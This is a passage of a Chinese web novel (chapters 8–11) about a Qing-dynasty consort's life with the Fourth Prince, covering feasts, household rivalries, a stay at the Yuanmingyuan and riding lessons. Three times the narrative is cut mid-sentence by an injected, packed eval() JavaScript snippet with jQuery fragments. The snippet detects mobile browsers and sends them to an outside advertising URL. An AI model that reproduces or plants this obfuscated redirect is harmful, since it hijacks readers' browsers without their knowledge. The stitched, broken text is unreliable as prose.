年芷瑶把酸奶上撒上厚厚的白糖,递到四爷面前,“爷,您尝尝这个。”行为颇为自然,不知为何,她觉得四爷不会轻易对她发火。
四爷看着白白嫩嫩的酸奶,心中的火气下去了一点。
白糖在他嘴里咬的嘎吱嘎吱响,甜味慢慢传来,冰冰凉凉的,吃起来倒是舒爽,四爷的脸色好看了一点。
年芷瑶也不问出了什么事,而是说起早上李大夫刚进门的脸色难看得紧,只怕是莫名来替她把脉让他吓得不轻,还以为她这个侧福晋得了什么疑难杂症呢。
四爷也笑了,“这个李维胆子是小,但医术还行。”
胆子小就不会敢做别的,医术又好,所以四爷才敢放心地将他养在府里。
看着四爷心情好了一些,苏培盛赶忙过来道:“爷,可要传膳。”
他的主子爷啊,一天进了两个院子,结果到现在还没吃上饭。
年芷瑶惊讶,这个点了还没用午膳吗。
四爷看她:“你若是用了,去屋里歇着便是,不用伺候爷。”吃过再闻到饭味,只怕会犯恶心。
年芷瑶不好意思地笑:“我还没用呢。”
四爷明白地笑了起来:“小懒鬼。”
年芷瑶不满地看了他一眼,若不是她早上去睡了回笼觉,你现在就只能一个人吃饭了好不好,还笑她呢。
苏培盛看着侧福晋几句话就把爷给哄好了,不由叹为观止,怪不得爷会往东院来呢。
用过午膳,她看了看四爷的神色,推了推他,“爷累了吧,去屋里歇会吧。”
四爷点了点头:“你也陪爷躺会。”
两人躺在床上,四爷握住她的手,“瑶儿,给爷生个孩子吧,生一个属于我们的孩子。”
年芷瑶愣了愣,孩子?
8. 第 8 章
孩子,年芷瑶愣了愣。
她沉默的时间有些长,四爷向她看了过来。
感受到他疑惑的眼神,年芷瑶扬起笑容,“那爷是喜欢阿哥还是喜欢格格。”
“只要是瑶儿生的,爷都喜欢。”想到他们的孩子,四爷的眼神柔软下来。
年芷瑶把头埋在他的肩膀:“我更喜欢格格。”
“生个格格也好,像你,日后定会是个美人。”四爷抚着她的发,他的孩子少,活下来的格格只有一个,若是能有个像瑶儿的小格格,冰雪聪明,也是极好的。
年芷瑶看他:“爷的女儿,不需要貌美,也能过得好不是吗。”
四爷笑得傲然:“自然,爷定会保她一世无虞。”
年芷瑶满意地抱住了他。
晨起,四爷先去了前院。
年芷瑶睁开眼后,晃了晃神,四爷一向起得比她早,知道她爱睡懒觉,便从来不让人吵她,现下看来已是十足的贴心。
见她醒了,白芍扶着她起身。
采芙为她梳妆,她手巧,梳好的发髻颇为灵动好看,年芷瑶满意地点了点头。
采蕖捧着一篮子鲜花过来,“主子,可要簪花。”
“就这朵吧。”年芷瑶选了一朵粉色透白的芍药。
白芷进来便夸:“主子的眼光就是好。”
年芷瑶斜看了她一眼,“可打听到了。”
昨夜四爷怒气冲冲地进来,她不好直接开口询问发生了什么,但也不能在府里做聋子瞎子,白芷知道她的心思,一早便去打听了。
白芷轻轻点头。
原来昨夜四爷是在西院发了火,虽不知究竟发生了什么,但训斥李氏的声音都被听了去,四爷说她教导阿哥无方,让三阿哥以后再回府都不必来后院请安了,还罚了李氏三个月的禁闭。
年芷瑶有些惊讶,四爷发火是为了三阿哥,他怎么又惹了事?
怪不得一向冷静的四爷都在她面前催生了起来,想必是真的对三阿哥失望了吧。
如今府里的阿哥只有三个,三阿哥看着不成大气,四阿哥五阿哥还年幼,难怪四爷都着急起来了。
中午四爷没过来,是她一个人用的膳,膳房的大厨特意孝敬了一道八宝肘子,软嫩弹牙,香而不腥,味道特别好,年芷瑶一个人也用得很香。
早上起得晚,中午就不困,她便看起了话本子。
白芷进到屋子里,就看见自家主子正躺在贵妃榻上,旁边是四样点心,四样酥糖,还有奶茶和酸梅饮子。
她有些无奈,主子自打进了府,有王爷宠着护着,是彻底没了人管着了,倒显得更加自在了。
她们之前担心的事仿佛都是白费心力,不过主子过得好也是件好事。
她轻声道:“主子。”
年芷瑶抬头:“嗯?”
“这是主子爷让人新送来的话本子和新奇玩意,说是怕您无聊,特意从外面采买的”
年芷瑶眼睛微亮,“拿过来给我瞧瞧。”
旁的不说,在家时这些杂书她都是背着额娘看的,无他,市面上流行的话本子,多半是才子佳人的故事,不是秀才高中状元后迎娶大家小姐,就是侠客执剑快意恩仇,江湖上不少都是他红颜知己的。
额娘怕她年纪小,看了之后再移了心性,从来不许她多看,她只能让二哥偷偷给她带过来。
虽然无奈,但她也不能和额娘说,您别担心,在现代时再露骨的书她也见过,从不会为里面描绘的爱情所蒙蔽,毕竟人教人教不会,事教人一教就会。
她亲生父母那般的婚姻,实在让她不敢对爱情抱有期待,也不敢步入婚姻。
即便是再想要一个与她血脉相连的孩子,她想的也是带球跑,或者去国外的医院生一个只属于自己的孩子。
只是如今她进了雍王府,生孩子更加名正言顺一些,孩子的诱惑对她又大了起来,她轻轻抚了抚肚子,她和四爷的孩子,定会有疼爱她的额娘阿玛吧。
即使将来四爷对她的宠爱日渐淡薄,也定会是个好阿玛的,就打府里的二格格来说,适龄的宗室女儿大多被嫁去抚了蒙,为了让这个女儿留在京中,四爷暗地里不知费了多少心力。
年芷瑶垂眸,重新捡起看到一半的书,对白芷嘱咐道:“小厨房炖的羹汤,记得给四爷送去一碗。”
不过,即便是为了她的孩子,她也不能轻易放弃四爷的宠爱,得让四爷永远记得她的好才是,唯有真心才值得真心相待。
“是。”白芷缓步退了下去。
转眼就到了端午节。
府里一早就将绣着五毒图案的香囊和粽子送了过来,白芷把香囊和彩绳挂在了床上,又在屋门挂上了艾叶。
年芷瑶看着她忙个不停,连忙叫停:“你快别转了,转得我头晕。”
白芷抱怨:“主子。”
年芷瑶笑道:“挂两个意思意思便是,何必这么辛苦。”
白芷:“这不是图个好寓意嘛,这样主子未来一年就不会生病了。”
松嬷嬷点头道:“是呢,主子幼时便体弱,虽说如今养好了,可也不能掉以轻心,白芷,别听主子的。”
白芷笑道:“是,嬷嬷。”
年芷瑶无奈,只能把玩着采芙编好的五彩绳,“编得不错,给我戴上吧。”
采芙道:“是。”
采蕖捧着一件银红色绣百合的旗装走了过来:“主子,今日过节,可要穿这件。”
年芷瑶可有可无地点头,“好。”
银红色的旗装美丽却实在引人注目,但进府月余,四爷天天歇在她这,左右已经够显眼了,再亮些也没什么吧。
采芙为她戴了一顶珍珠赤金头冠,更映衬出她的光彩照人。
白芍叹道:“主子真好看。”
年芷瑶看了看镜中的美丽的人影,也十分满意,这样一副好样貌,不好好打扮也是可惜了。
换好衣裳首饰,年芷瑶便带着白芷来了正院,刚一进门,她便感受到李氏的眼刀随影而至,上下打量着她。
年芷瑶微微挑了挑眉,李氏不是被四爷禁足了吗,怎么还出来了。
白芷在她身后低语:“听说是福晋向爷进言,说端午乃是阖家团圆之际,让李侧福晋出来吃顿团圆饭。”
年芷瑶望向李氏,也不知得了福晋的求情才出来,她是开心还是不开心,不过许是禁足真的有用,李氏虽说眼神凌厉,但到底一句话也没有说。
另外,她还见到了三阿哥,如今三阿哥不过九岁,看着还是个少年模样,只是人虽不大,但眼中却充满了对她的敌意。
年芷瑶懂了,定是李氏没少和三阿哥说她的坏话。
倒是跟在钮祜禄氏和耿氏身边的四阿哥和五阿哥如今才将将两岁,正是可爱的年纪。
向她行礼时,嗓音也是软软乎乎的,她笑了笑,掏出准备好的香囊递给二人。
钮祜禄氏二人连忙起身推辞。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135718|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>年芷瑶:“不值什么,不过是用来赏玩的玉佩,两位妹妹不必客气。”
看到自家额娘点头,两位阿哥这才把东西收下。
只是比起一旁直愣愣的五阿哥,四阿哥倒是显得更加机灵,他躬身道:“多谢年额娘。”
年芷瑶冲他笑笑,怪不得后世四阿哥能做皇帝呢,雍正拢共就三个阿哥长到成年,矮个子里拔高个,也得选四阿哥啊。
四爷来得最晚,他一出场,周遭都静了下来,众人起身行礼。
四爷点了点头,而后坐在了上首,“开宴吧。”
福晋点头:“是。”
她挥了挥手,一溜烟地小丫鬟并着小太监就过来上菜了,同时进来的还有跳舞的舞姬。
年芷瑶坐在四爷的稍下的位置,只是距离再近她也是侧福晋,只能坐在他和福晋的一侧,她也不看二人,只低头吃菜。
四爷看她倒是看得清楚,他的神情微微一顿,这身衣裳倒是衬她。
看到四爷的眼神,福晋垂下了眸子。
年芷瑶倒是恍若未觉,只一味夹着眼前的菜,说实话这席面上的菜并不难吃。
她阿玛每年都会参加宫里的新年宴会,回府后便会抱怨宫里席面上的菜都是冷的,大宴的菜都是提前做好,冬天时,菜端到他们面前都已经凝固了,上面还飘着一层猪油花,让人一点胃口都没有。
每次阿玛回到家还要吃上一顿夜宵才能饱。
也许雍亲王府本来主子就少,是以菜色都算新鲜,尤其刚上的一道清炒莲藕,火候正好,年芷瑶配着它喝了口冬日新酿的梅花酒,酒香清冽。
她决定明天的早膳加上这道菜,配粥一定很好吃。
能看出来今日的晚宴是福晋用心准备的,每隔两道菜就有一道歌舞,听曲配酒,倒是别有一番风味。
白芷在她身后劝道:“主子,您别喝了,爷都看你了。”
“啊,是嘛。”年芷瑶抬头望去,只见四爷正目不转睛地盯着她,她看了一眼,便心虚地将酒杯放下,不喝就不喝喽,瞪她干嘛。
福晋看向李氏:“爷,今日是端午,三阿哥又从宫里回来,不如免了李妹妹的禁足可好。”
众人的目光随之向李氏看去。
听到福晋给她求情,李氏的脸色越发难看起来,她想到这些年与福晋作对,从来都是她占上风,可自从弘辉阿哥没了之后,她的恩宠就一年不如一年,如今更是寥寥无几。
可即便如此,爷也没有如此下过她的面子,这是第一次认清了她已经无宠的现实。
四爷沉默半晌,看了一眼三阿哥,最终还是点了点头。
年芷瑶冷眼看着,原来福晋等了这么久等的就是今天啊,她借用四爷告诉李氏她已无宠,让她都好生安分着。
可李氏未必会认命,她身边到底还有三阿哥呢。
不过只要她们不算计到她身上,她都可以视而不见,毕竟她也不是很喜欢李氏,谁会喜欢每次都对自己冷嘲热讽的人呢。
宴会散去,年芷瑶扶着白芷的手想走,今日过节,四爷应该会去福晋的院子吧。
谁知四爷对她伸出了手,“陪爷回去吧。”
福晋带着人在身后行礼:“臣妾等恭送四爷。”
年芷瑶看他一眼,这人是真的不会委屈自己啊,喜欢和不喜欢都让人看得明明白白,也不知是不是好事。
四爷牵着她的手往东院走去。
白芷带着人跟在她身后。
9. 第 9 章
白芷掀开帘子进来:“主子,爷说今儿个不过来了,让您自个儿用膳。”
年芷瑶点了点头:“知道了。”
她之前还在心里吐槽过四爷整日待着她的院子里,是不是太过清闲了。
然后四爷就忽地忙了起来,已经月余没怎么来过后院了,这一个月,只来她院子里过了两夜,又抽空去看了一眼四阿哥和五阿哥,其余人连他的面都没见到。
显然是有要事在忙,在现代时,她对四爷了解只有他登基做了皇帝,就连他有个姓年的侧福晋的事都是从清穿小说里看到的。
即使穿越过来,她对他为了皇位具体做了什么,暗地里有多少人也是一概不知。
只是知道她们年家早就跟随了四爷,平日除了规劝哥哥收敛脾气外,也不敢妄动其他,若是蝴蝶效应了,她哭都没地哭去。
翻过六月,四爷才闲了下来,履行了带她来圆明园玩的承诺。
能出去玩,她连懒觉都不睡了,天一明,便从床上爬了起来。
四爷看着她笑了笑:“怎么不多睡会儿。”
年芷瑶看他一眼,睡觉什么时候不能睡,但那可是圆明园诶,还不赶紧的。
但话不能这么说,她扯了扯他的衣袖:“爷,我已经许久都没出门了,有些激动也是难免的嘛。”
四爷笑意更深,唤道:“苏培盛。”
门外的苏培盛立即应声:“奴才在。”
四爷:“去备车。”
“是。”
年芷瑶对他笑得越发甜蜜:“爷最好了。”
洗漱穿戴好,她先去正院辞别福晋,两人寒暄两句后,年芷瑶忙带着人直奔王府大门。
今儿个是王爷与侧福晋一同出门,自然是开的大门。
年芷瑶扶着白芷的手上了马车,发现四爷已经在里面了。
她疑惑:“爷不骑马吗。”
四爷亲自给她倒了茶:“爷先歇歇,到园子里再教你骑。”
年芷瑶低头浅笑,之前四爷答应过她,要教她骑马,没想到他还记得。
“好。”
马车走了快一个时辰,终于到了园子。
从圆明园大宫门进去,走了几步便是正殿,应该是四爷办公的地方,绕过这里就是前湖,园子里多山水,江南园林和北方园林相融合,景色秀美宜人。
虽说圆明园现如今还只是皇上赏给四爷的一个小园子,远远不是日后被四爷登基后修建成了天下第一园的样子,但到底也是皇家园林,年芷瑶觉得已是极美。
只是确实累了些,她实在有些逛不动了。
光是绕着前湖和后湖转了一圈就花了一个时辰,四爷还要带她去下一地方,她连忙制止,“爷,容我先歇歇。”
四爷笑她:“怎么这么快就累了。”
年芷瑶反驳道:“爷,这园子就是要慢慢逛才好,一下子都逛完还有什么乐趣嘛”
四爷附在她耳边低声道:“好,爷知道瑶儿体力不好,今天先逛到这。”
他说得意有所指,年芷瑶脸色微红,不满地捶了捶他。
四爷牵过她的手,笑道:“爷带你去歇着。”
年芷瑶看他:“爷,我住在哪个院子呀。”
四爷:“你想住哪里。”
“杏花春馆。”她刚才看了看,那个院子的景色最好,又挨着后湖,如今天热,在那住一定会很凉快。
四爷对此没什么意见,“好。”
晚膳便是在杏花春馆用的,院子叫杏花春,可院子里却住满了桃树,年芷瑶摸了摸桃树:“爷,这里为何不叫桃花春馆呀。”
四爷笑道:“爷也不知,皇上赏下来的时候便是这个名字。”
年芷瑶明白了,皇上赏的,便不能随意改名字,只是现在改不了,日后可就不一定了。
她冲四爷笑了笑,“爷,我饿了。”
今日起得早,又逛了这大一圈,自然饿得快。
四爷开口道:“传膳吧。”
苏培盛:“是。”
主子们好不容易来一趟园子,园子里膳房自然是使出浑身解数,做了一个桌子的菜,比在府里吃得还热闹。
四爷夹了一筷子剁椒鱼头尝了尝,这是年芷瑶单独要的,她刚才逛园子时就看到了湖里的鱼甚是肥美,特意让厨房做了这道菜,果然鲜辣可口。
但四爷不能吃太辣的,年芷瑶制止道:“爷,这个辣。”
但话说晚了,鱼肉一下肚,四爷的脸就红了起来。
年芷瑶笑了起来,“爷,快喝口茶缓缓。”
四爷看了她一眼。
晚间,她的报应就来了,她抱着四爷的脖子,红着脸哼哼唧唧,“爷,不要了。”
四爷轻哼一声:“不行。”
年芷瑶欲哭无泪,不就是笑话了他一下,要不要报复心这么强啊。
她愤怒地咬向了四爷的肩膀,都说不要了啦,烦人。
四爷看着清晰的牙印笑了笑,更加卖力起来:“这不是还有力气吗。”
年芷瑶捶了他一下,男人真讨厌。
苏培盛站在屋外,看了看天色,不由叹道来了园子就是不一样,连主子爷都这么有兴致啊,不过就算是他,他也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135719|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更喜欢园子,别的不说,园子里有山有水,比府里不知凉快了多少。
白芷看他脸上带着倦色,问道:“苏爷爷,您这不先去耳房歇歇,这里有我们呢。”
苏培盛点了点头,四爷宿在后院,伺候的人便多了,他也能松快些。
小太监点头哈腰地伺候着苏培盛往外走,“苏公公这边请。”他拿来特意打来的热水问道:“苏爷爷,可要泡脚。”
苏培盛点了点头。
被小太监伺候好了,他才开口:“你叫什么。”
小太监笑得谄媚:“奴才小林子,之前是在园子里伺候的。”
万岁爷把园子赏下来的时候,园子里伺候的人都没有带走,四爷不像三爷,是个爱逛园子的主,是以一年也来不了几回,故而听到四爷这次要带侧福晋来园子,里面的奴才们都是铆足了劲想往侧福晋的园子里钻。
他能分到侧福晋这,那也是把全部身家都拿出来孝敬上面的缘故。
苏培盛看了看他:“你倒是运气不错,好好伺候着,日后说不得有大前程呢。”
小林子大喜过望,磕头道:“多谢苏爷爷。”
第二日,年芷瑶一睁眼,已是日上三竿。
她看向白芷,问道“爷呢。”
不开口不要紧,一说话连她都吓了一跳,她的嗓子怎么哑成这样了。
白芷扶她下床,看到她身上的痕迹,不免羞红了脸,“爷一早便走了。”
看到白芷这样,年芷瑶也有些不好意思,心中不免埋怨道,这人也太不知节制了。
白芷定了定神:“主子可要用膳,膳房送来了鸡丝粥,还在炉子上煨着呢。”
年芷瑶点了点头,她确实有些饿了,“再让他们下碗小馄饨给我。”
白芷点头:“是。”
下午四爷过来时,年芷瑶就忍不住瞪了他一眼。
四爷大步走了进来,“怎么,不是要去骑马?”
年芷瑶:“爷还说呢,我现在的腰都是酸的,还怎么骑马。”
四爷有些心虚,他长她许多岁,按理不应该这么冲动,如今得了抱怨,倒像是欺负人家小姑娘了。
他低声哄她:“是爷不好,下次爷不这样了。”
年芷瑶不说话了,说实在的,虽说第二日累了些,但偶尔放肆一回也挺好的。
四爷看她神色,有些明白,笑道:“那下次还来好不好。”
“爷真烦人。”年芷瑶埋头进了他的怀里。
四爷大笑起来,“是爷烦人。”他往上抱了抱她,也不知道自己怎么得了这么一个娇宝贝。
10. 第 10 章
昨日没教成骑马,今日用过早膳,四爷便带她去了马场。
年芷瑶看着威风凛凛的高大马匹,双眼冒光,伸手指了个最好看的:“我要骑那个。”
四爷勾起唇角。
年芷瑶疑惑地看他,这是什么意思。
一旁的苏培盛冲养马太监招了招手,那边会意地牵着几匹小马过来。
养马太监低头道:“年主子,您是新手,那些大马还骑不得。”言外之意是这些小马才是给您准备的。
年芷瑶看着眼前一溜还没她高的各色小马,抽了抽嘴角。
四爷冲她解释道:“你是初学,只能骑这个。”
年芷瑶哀怨地看他,那您直接带我去挑小马不就是了,还带我这干嘛,看我热闹吗。
四爷揉了揉她的手,算是安慰。
最终,年芷瑶还是在小马堆里挑了一个合眼缘的,是一匹通身都是黑色的小马,大眼睛一眨一眨的,很是可爱。
四爷带她去摸了摸,“这马温顺,你骑着正好。”
有小马在身边,年芷瑶也不在意那些可看不可骑的大马了,有些兴奋地点了点头,她也有马的人了诶,不管是大是小,总归是个马。
她在现代时也想去学骑马来着,可那时骑马的课时费对她还是有些贵,她当时为了攒买房子的钱,过得十分抠搜。
穿越后虽然有这个条件了,却因身体不好,额娘不敢让她去学骑马,二哥也不敢拿她的身体开玩笑,毕竟幼时妹妹躺在床上,所有大夫都束手无策的日子他也是历历在目,只敢背着额娘给她带些话本子过来,让她解闷。
四爷拿了一捧黄豆让她喂马:“先和它熟悉熟悉,马儿都有灵气,你对它好,它也会好好载你的。”瑶儿的眼光不错,这匹马虽小,但也是匹好马。
年芷瑶冲马儿招招手,小马先是看了她一眼,然后迈着矫捷的步伐走了过来。
看小马在她手心吃得正欢,年芷瑶趁机摸了摸它的脑袋,嗯,毛发有些硬,但还是很可爱。
四爷笑看她们的互动,“给它取个名字吧。”
年芷瑶想了想,“就叫它黑云吧。”
四爷点头表示同意。
年芷瑶抬眸看他,迫不及待地道:“爷,我现在能骑了吗。”
四爷失笑,亲自教了她上马的动作,然后让养马太监牵着马先带她先围着马场绕上一圈。
等她回来,四爷走上前去,拍了拍她握着缰绳的手道:“松一些,不要这么用力。”
年芷瑶点了点头。
“用腿轻轻压一下马腹,它就会跑得快些。”
年芷瑶照做,没过多久黑云就能听着她的指令,带她小跑了。
等在原地的苏培盛叹道,主子爷可真是有闲情逸致,这般细心地教人骑马,这么多年也就只有当初刚满五岁的二格格有这个待遇了。
年芷瑶骑着马背上冲着四爷挥手,四爷冲她笑了笑,然后翻身上了一匹火红的马背飞快地从她身边跑了过去,被迫吃了一脸土的年芷瑶一脸无语,这人幼不幼稚啊。
等四爷绕着马场跑了一圈后,一个顺手就把她带上了马背,年芷瑶“啊”了一声,再睁眼,就已经在马背上了。
四爷哈哈大笑,年芷瑶伸手捶了他一下,这人就喜欢看她笑话。
但马上奔跑的感觉却意外的不错,她眯起眼睛,感受着风的气味,疾驰的风打在她的脸上,让她梳整的发丝有些凌乱。
她回头看向四爷,“爷,我好开心啊。”
四爷笑着拍了拍她手。
第一日的骑马时间并没有太久,四爷说她是第一次骑,不宜骑太久,不然定会腰酸背痛。
四爷还十分贴心的让会按摩的丫鬟替她推拿片刻。
“这样明天就不会难受了。”他说。
年芷瑶暗戳戳的想,四爷这么有经验,之前定是没少肌肉酸痛吧。
总而言之,在园子里的日子颇为快乐,每日睡到自然醒,外界的纷纷扰扰都与她无关,仿佛世外桃源一般。
清晨,她埋首在四爷的怀中深呼吸,四爷不喜熏香,衣服上也只有皂角的清香,但她总觉得他身上的气息特别好闻。
“园子里真好。”年芷瑶叹道。
四爷把玩着她的头发:“不想回去?”
“嗯。”年芷瑶沉吟片刻,“总觉得在府里总觉得时间过得很快,许是人太多了吧。”
她抱着四爷道:“我更喜欢和爷两个人的日子。”
见她说得直白,四爷也乐得不行,点了点她的鼻尖:“你呀。”
“那就再待几天。”他道。
年芷瑶笑了起来:“爷,你真好。”她抬头看向他:“爷对我这么好,不怕把我宠坏吗。”
四爷温柔地抚了抚她的发,“那瑶儿可真是好哄。”
年芷瑶不满道:“爷。”
两人在床上玩闹了会,四爷便起身去了九州清晏处理事情,即使出了府,四爷也颇为忙碌,并不像她这般无所事事。
白芷进来:“主子,午膳要用什么。”
年芷瑶想了想,“要他们做份油焖大虾,其余地让他们看着上便是。”
这几日吃的虾大多是清烹的,今天她想吃个口味重些的,她在家中时就让厨子做过这道菜,很是不错。
如今在园子吃鱼虾更是便利,园子里有湖,鱼虾都是新鲜的,随吃随取便是。
跟着过来伺候膳食的张师傅,最会做鱼虾,这几日都是他在伺候,惹得不少人眼红,谁不知道如今这年侧福晋最是得宠,得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135720|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了侧福晋的喜欢,日后的好日子指日可待啊。
九州清晏。
四爷坐在上首,问道:“老八这些天在做什么。”
对面坐着的是一个留着胡须的中年男人,他姓戴名铎,早年间便投靠在四爷门下成了谋士,但因四爷以不争示人,他一直颇为低调,前些年也多在江南等地为四爷谋划。
“自从爷来了园子后,八爷便在京中四处走动,时常折下而交。”他叹道:“当日众人保举八阿哥为太子,已得万岁训斥不喜,可八阿哥却像不受影响一般,奴才也是佩服。”
四爷端茶沉思,“爷这个八弟,一向不是个简单人。”即便不喜老八,他也不免佩服老八于人心上的把控。
戴铎看了一眼四爷的脸色,开口道:“是呢,只是如今八阿哥蹦的再高,还是要看皇上的心意。”
四爷点头:“辛苦了。”
皇阿玛年迈,大位就在他们头顶挂着,抬头便能看见,谁都恨不得上去啃上两口,更何况他的这些兄弟。
戴铎低头:“能为主子分忧,是奴才的荣幸。”
他起身告退,苏培盛客气送他出去:“戴先生,这边请。”
戴铎与苏培盛寒暄道:“主子这次在园子里待的时间倒是长。”
苏培盛低头浅笑。
戴铎见苏培盛不语,也不多问,他知道这太监心思虽多,但伺候四爷,头一个就是要忠心,若是把主子的话随处往外说,那这人也做不到这个位置。
只是他往园子后面望了望,听闻四爷这次进园子还带着一位侧福晋,想必是为了这个吧。
虽说他没见过这位侧福晋,但对她的哥哥倒是有所听闻,若是四爷真能把年羹尧收为己用,于他们又是一大助力啊。
杏花春馆,白芷端了碗?酥山进来:“主子,这是膳房新送来的,您尝尝看。”
年芷瑶感兴趣地坐了起来,这是?酥山可以说是古代的冰激凌,先将奶油和黄油冻起来,等吃的时候再将之融化,做成了山峦形状,故叫?酥山。
上面还依照她的口味撒上了一些坚果,她尝了一口,口感细腻丰厚,十分好吃,她开心地眯起眼睛,夏天果然就是要吃冰啊。?
园子里也存了不少冰,再加上这里的主子只有她和四爷两个,自然能紧着她使劲用。
年芷瑶:“四爷的那可去送了。”
白芷道:“已经送去了。”
主子这儿的东西都是一贯都是做两份的,一份自己吃,一份送去给四爷。
故而这里的厨子越发殷勤起来,讨好了主子就是讨好了主子爷,谁不想走这个捷径呢。
年芷瑶点了点头,在想要不要把黑糖珍珠做出来呢,她记得珍珠用木薯粉就能做,浇在?酥山上,也是个好搭配。
11. 第 11 章
雍亲王府。
一大清早,外院的洒扫太监就开始准备起来,擦门的,扫地的忙个不停。
管事太监嘱咐道:“今日是王爷同侧福晋回府的日子,可都仔细着点,若是出了什么差错,别说主子饶不了你们,我爷扒了你们的皮。”
小太监十分殷勤地弯腰笑道:“奴才们都知道,公公放心。”
见那公公走了,小太监才撂下了脸,冲着墙角呸了一声,大家都是奴才,谁比谁高贵不成,还真当自己是主子了,什么玩意。
又等了片刻,前门的侍卫快步走了过来,“快,抓紧,主子回来了。”
马车声由远及近,四爷骑着马过来。
外院侍卫跪倒了一片:“给主子爷请安,给侧福晋请安。”
四爷点了点头,起身下马,对着马车外的帘子道:“你先回院子里,爷去前院。”
年芷瑶笑道:“爷去忙吧,我得先去给福晋请安。”
四爷和她在园子里差不多待了一个月,如今回府自然要先给福晋请安才是。
四爷点头:“爷午膳去你那用。”
年芷瑶笑了起来:“好。”
两人在门前分开,到了内院,年芷瑶便下了轿子,扶着白芨的手去了正院。
赵嬷嬷已得了消息在院子里等着,一见她来,便笑着迎过来:“给侧福晋请安,福晋一早便等着您了。”
年芷瑶伸手扶她,“嬷嬷客气了,让福晋久等,真是我的不是。”
赵嬷嬷笑道:“侧福晋哪里的话。”
进了正院的屋子,福晋已经端坐在上首,看她进来,便道:“回来了,玩得可好。”
她行了个福礼:“承蒙福晋关爱,一切都好。”
福晋:“那就好,此行去园子就你一人伺候爷,也是辛苦。”
年芷瑶但笑不语,是了,无论是不是四爷带她出去玩,到了福晋口中,都是她跟着去服侍四爷的。
她也不与福晋争这份口舌,左右是她得了便宜,福晋爱怎么说怎么说便是。
与福晋简单寒暄了两句,她便告辞出了正院。
到了和她走时没什么两样的东院,年芷瑶倒是有一种回家的感觉。
白芍带着人迎了出来,这次是她带着人在院子里留守,毕竟又不是不回来了,总不能去个园子就把屋里的人都带走吧。
年芷瑶怕她不满,便拍了拍她的手,安慰她道:“你们轮换着,等下次你跟着我去。”
白芍道:“主子放心,我一个人看家不知有多自在,谁还敢给我气受不成。”
白芨笑道;“你这么泼辣,自然没人敢气你,我看这两个月,你都长胖了些,可见是过得不错。”
白芍伸手便要打她:“主子,你看她,白芨姐姐最会欺负人。”
众人都笑了起来。
松嬷嬷过来禀告说从园子里带回来的东西都规制好了。
年芷瑶点了点头,“嬷嬷辛苦了。”
松嬷嬷笑道:“这算什么。”
白芨也笑着走了进来:“主子,院子里的葡萄都熟了。”
年芷瑶道:“快摘下来给我尝尝。”刚才她进院子的时候就发现了,这葡萄熟得刚刚好。
“哎。”白芨带着人将葡萄一串串地剪了下来。
因主子喜欢院子栽种的葡萄,即便她不在府里,院子里的葡萄也有人照看,掐须,打条,追肥一个不落,现在这葡萄长得又大又好。
白芨挑了一串最红的洗净送了过去。
年芷瑶尝了一个,果然是甜极了。
午膳时,四爷过来,也说这葡萄好。
年芷瑶:“都是爷选的苗好。”
四爷笑了笑,唤了唤苏培盛:“给你十三爷也送一些过去,连同园子里的那些时令东西一同送去。”他想了想道:“十四那里,也送些过去吧。”
听到十四爷,年芷瑶支起了耳朵,后世对于四爷和十四爷的关系一直有诸多猜测,但有一点是众人默认的,那就是兄弟二人感情并不怎么好,不然十四爷也不会在雍正四年被圈了起来。
只是如今的四爷还会给十四爷送些葡萄,年芷瑶猜测也许现在两人的关系还没有那么僵硬。
不过细数四爷上位后的兄弟们,除了万事不管的,例如五阿哥,七阿哥,其余几个排行靠前的阿哥好像就没几个过得好的。
她不免对八爷产生一丝微妙的敬意,九爷十爷就不说了,连四爷同母的兄弟十四爷都向着八爷。
还有日后被四爷过继给八爷的三阿哥,这八爷是得有多大的人格魅力啊,感让他们在四爷登基后还跟四爷对着干,真是让人不得不服。
说起十四,四爷的脸色有些不好,对于这个比他小十岁的弟弟,他一直是轻不得重不得。
当年老六还在的时候,即便他们不在一个宫里,不能交流太多,但在上书房对视一眼,便是心意相通,他是多么开心自己有个同母的兄弟啊。
只是老六没得早,后来十四出生,他也高兴,只是他们年纪相差太大,老十四进上书房的时候,他早已出宫开府的年纪,对这个弟弟更是无从下手。
十四最近还跟老八混在一起,真是愚蠢,老八有脑子,他有吗。
他想起自己的四阿哥和五阿哥,两个孩子虽不同母,但年纪相近,日后说不得能成为关系相近的兄弟,只是两人年级尚小,还不知贤愚。
四爷微微叹了一口气,若是瑶儿为他生下的阿哥,定是个聪明伶俐的孩子,
他看向年芷瑶,发现她还在发呆,四爷无奈,在她眼前挥了挥手。
年芷瑶猛然回神,“嗯?爷,怎么了。”
“想什么呢,这么入神。”
她在想您和十四爷是不是关系不睦,但这话却不能告诉四爷,她不好意思冲他笑笑:“在想中午吃什么。”
